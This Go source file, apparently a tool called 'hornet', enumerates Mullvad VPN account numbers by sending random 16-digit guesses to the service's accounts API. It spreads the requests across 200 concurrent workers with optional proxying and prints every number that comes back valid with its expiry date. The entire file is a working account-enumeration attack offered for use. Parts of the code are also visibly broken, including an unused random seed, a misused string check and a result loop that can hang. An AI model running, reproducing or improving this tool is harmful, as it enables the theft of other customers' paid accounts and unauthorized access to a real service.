hornet/hornet.go

158 lines
2.5 KiB
Go

package main
import (
"encoding/json"
"fmt"
"io"
"math/rand"
"net/http"
"net/url"
"strings"
"time"
"github.com/panjf2000/ants"
)
var (
proxy = "" // Proxy URL
workers = 200 // Worker threads
amount = 50000 // Account amount
timeout = time.Second * 10 // Request timeout
)
func init() {
// Generate random seed
rand.New(rand.NewSource(time.Now().UnixNano()))
}
// A login
type Login struct {
Number int
Client *http.Client
Results chan string
}
// API error
type Error struct {
Code string `json:"code"`
}
// API response
type Response struct {
Account struct {
Expires string `json:"expires"`
} `json:"account"`
}
// Attempt a login
func (l *Login) Attempt() {
// GET request
req, err := http.NewRequest(
"GET",
fmt.Sprintf("https://api.mullvad.net/www/accounts/%d", l.Number),
nil,
)
if err != nil {
l.Results <- ""
return
}
// Execute request
res, err := l.Client.Do(req)
if err != nil {
l.Results <- ""
return
}
// Read body
body, err := io.ReadAll(res.Body)
if err != nil {
l.Results <- ""
return
}
// Store JSON
var response Response
var error Error
// Parse JSON
json.Unmarshal(body, &response)
json.Unmarshal(body, &error)
// Account found
if response.Account.Expires != "" {
l.Results <- fmt.Sprintf("Account %d expires at %s", l.Number, response.Account.Expires)
return
}
// Error found
if error.Code != "" ||
strings.ContainsAny(string(body), "503 Service Temporarily Unavailable") {
l.Results <- ""
return
}
}
func main() {
// Get job count
jobs := amount
// Half worker amount
if workers == jobs {
workers = workers / 2
} else if workers >= jobs {
workers = 1
}
// Results channel, new pool
results := make(chan string)
pool, err := ants.NewPool(workers)
// Handle error
if err != nil {
panic(err)
}
defer pool.Release()
// Make amount of accounts
for n := 0; n <= amount; n++ {
// Generate number
number := rand.Intn(9999999999999999 - 1000000000000000)
// Parse proxy URL
url, err := url.Parse(proxy)
if err != nil {
panic(err)
}
// New HTTP client
client := &http.Client{
Transport: &http.Transport{
Proxy: http.ProxyURL(url),
},
Timeout: timeout,
}
// Create login
login := &Login{
Number: number,
Client: client,
Results: results,
}
// Submit job
pool.Submit(func() {
// Attempt login
login.Attempt()
})
}
// Recieve all results
for r := 1; r <= jobs; r++ {
result := <-results
if result != "" {
fmt.Println(result)
}
}
defer close(results)
}